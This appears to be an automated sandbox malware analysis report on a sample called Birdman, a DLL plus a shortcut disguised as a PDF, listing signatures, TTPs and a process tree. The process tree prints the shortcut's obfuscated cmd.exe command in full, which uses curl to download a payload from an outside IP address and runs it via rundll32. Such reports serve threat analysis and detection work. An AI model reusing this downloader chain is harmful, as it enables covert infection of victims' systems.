Analysis
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max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240215-en -
submitted
07/05/2024, 12:38
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Birdman/Birdman.dll
Resource
win7-20240419-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
Birdman/Birdman.dll
Resource
win10v2004-20240419-en
8 signatures
150 seconds
Behavioral task
behavioral3
Sample
Birdman/TZZ.pdf.lnk
Resource
win7-20240215-en
3 signatures
150 seconds
Behavioral task
behavioral4
Sample
Birdman/TZZ.pdf.lnk
Resource
win10v2004-20240419-en
4 signatures
150 seconds
General
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Target
Birdman/TZZ.pdf.lnk
Score
3/10
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2136 PING.EXE 2644 PING.EXE -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 2644 PING.EXE 2136 PING.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2388 wrote to memory of 2592 2388 cmd.exe 29 PID 2388 wrote to memory of 2592 2388 cmd.exe 29 PID 2388 wrote to memory of 2592 2388 cmd.exe 29 PID 2592 wrote to memory of 2136 2592 cmd.exe 30 PID 2592 wrote to memory of 2136 2592 cmd.exe 30 PID 2592 wrote to memory of 2136 2592 cmd.exe 30 PID 2592 wrote to memory of 2644 2592 cmd.exe 31 PID 2592 wrote to memory of 2644 2592 cmd.exe 31 PID 2592 wrote to memory of 2644 2592 cmd.exe 31 PID 2592 wrote to memory of 2796 2592 cmd.exe 32 PID 2592 wrote to memory of 2796 2592 cmd.exe 32 PID 2592 wrote to memory of 2796 2592 cmd.exe 32
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU2⤵
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\PING.EXEp"iN"G UL3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2136
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C:\Windows\system32\PING.EXEp"iN"G -n 3 UL3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2644
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C:\Windows\system32\rundll32.exeRUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var3⤵PID:2796
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